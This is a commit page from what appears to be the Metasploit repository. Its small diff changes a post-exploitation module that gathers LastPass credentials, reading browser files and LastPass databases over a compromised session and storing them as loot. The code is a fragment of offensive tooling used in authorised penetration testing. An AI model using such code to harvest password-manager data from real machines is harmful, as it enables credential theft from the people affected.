Skip to content

Commit d97fe54

Browse files
committed
Store the browser name in LastPass loot
1 parent 43238c7 commit d97fe54

File tree

1 file changed

+1
-2
lines changed

1 file changed

+1
-2
lines changed

modules/post/multi/gather/lastpass_creds.rb

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -43,7 +43,6 @@ def run
4343
db_map.each_pair do |browser, paths|
4444
if browser == 'Firefox'
4545
paths.each do |path|
46-
# Read and store the remote preferences file locally
4746
data = read_file(path)
4847
loot_path = store_loot('firefox.preferences', 'text/javascript', session, data, nil, "Firefox preferences file #{path}")
4948

@@ -57,7 +56,7 @@ def run
5756
else # Chrome, Safari and Opera
5857
paths.each do |path|
5958
data = read_file(path)
60-
loot_path = store_loot('lastpass.database', 'application/x-sqlite3', session, data, nil, "LastPass database #{path}")
59+
loot_path = store_loot("#{browser.downcase}.lastpass.database", 'application/x-sqlite3', session, data, nil, "#{browser} LastPass database #{path}")
6160

6261
# Parsing/Querying the DB
6362
db = SQLite3::Database.new(loot_path)

0 commit comments

Comments
 (0)